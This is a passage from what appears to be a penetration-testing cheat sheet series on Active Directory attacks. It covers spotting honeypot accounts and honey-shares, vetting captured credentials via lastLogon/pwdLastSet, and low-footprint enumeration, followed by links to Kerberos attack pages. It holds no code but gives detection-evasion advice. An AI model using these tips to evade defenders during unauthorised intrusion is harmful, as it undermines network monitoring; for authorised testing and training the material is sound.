Massive SMB file-read volume; honey-share touches | Scope `-i`; verify shares aren't bait | 861 > | Honeypot accounts | A too-perfect `svc_backup` with a weak password + `adminCount=1` that never logs on = tripwire; any auth attempt alerts | Cross-check `lastLogon`/`pwdLastSet` before using "free" creds; a roastable account with an *ancient* password and no logons is bait until proven otherwise | 862 > 863 > Rules of thumb: **enumerate with the least privilege and fewest protocols that answer the question**; prefer one good LDAP filter over ten scans; and keep my own timestamps — if the client calls about an alert, I want to answer "yes, that was me, 14:03–14:11 UTC" in one breath. 864 865 --- 866 867 > [!navigation] Continue the attack flow 868 > **Previous:** [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration) 869 > 870 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 871 > 872 > **Next:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)